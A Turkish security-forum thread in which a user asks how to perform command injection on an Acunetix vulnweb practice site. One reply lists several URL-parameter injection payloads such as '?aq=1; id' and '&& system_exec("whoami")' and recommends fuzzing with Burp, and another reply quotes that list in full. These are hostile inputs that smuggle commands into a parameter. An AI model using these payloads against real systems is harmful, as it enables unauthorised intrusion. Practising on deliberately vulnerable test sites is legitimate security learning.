Nasıl command injection/komut injeksiyonu yapabilirim?

[Sooty]

biraz baktım uğraştım ama yapamadım ve anlamadım birisi bana yardım edebilir mi denediğim site vulnweb kesin var sorunum şu:
.öncelikle pipe gibi 2. komut için urlye yazdığımda çalıştıramıyorum başka ; gibi semboller de denedim ancak çalıştıramadım

 

[Carrion]

vulnweb'de command injection zafiyeti olsaydı, kullanıcıların dosyaları silmeleri halinde sürekli sistemi yenilemeleri gerekirdi. yani yok

 

[KobraNejdet]

?aq=1; id
?aq=1 & sleep(5)
?aq=phpinfo();//
?aq=1 && system_exec("whoami")
?aq=1 || exec('whoami')
.............

parametreyi fuzz edeceksin manuel olmaz o iş kendine polygot hazırla burpe at inspection sonuçlarını incele bu arada yazdıklarımı araştır neden passthru yok niye bu adam system_exec yazmış ne işe yarar v.s

 

[Carrion]

?aq=1; id
?aq=1 & sleep(5)
?aq=phpinfo();//
?aq=1 && system_exec("whoami")
?aq=1 || exec('whoami')
.............

parametreyi fuzz edeceksin manuel olmaz o iş kendine polygot hazırla burpe at inspection sonuçlarını incele bu arada yazdıklarımı araştır neden passthru yok niye bu adam system_exec yazmış ne işe yarar v.s

Home of Acunetix Art sitesinden bahsediyor herhalde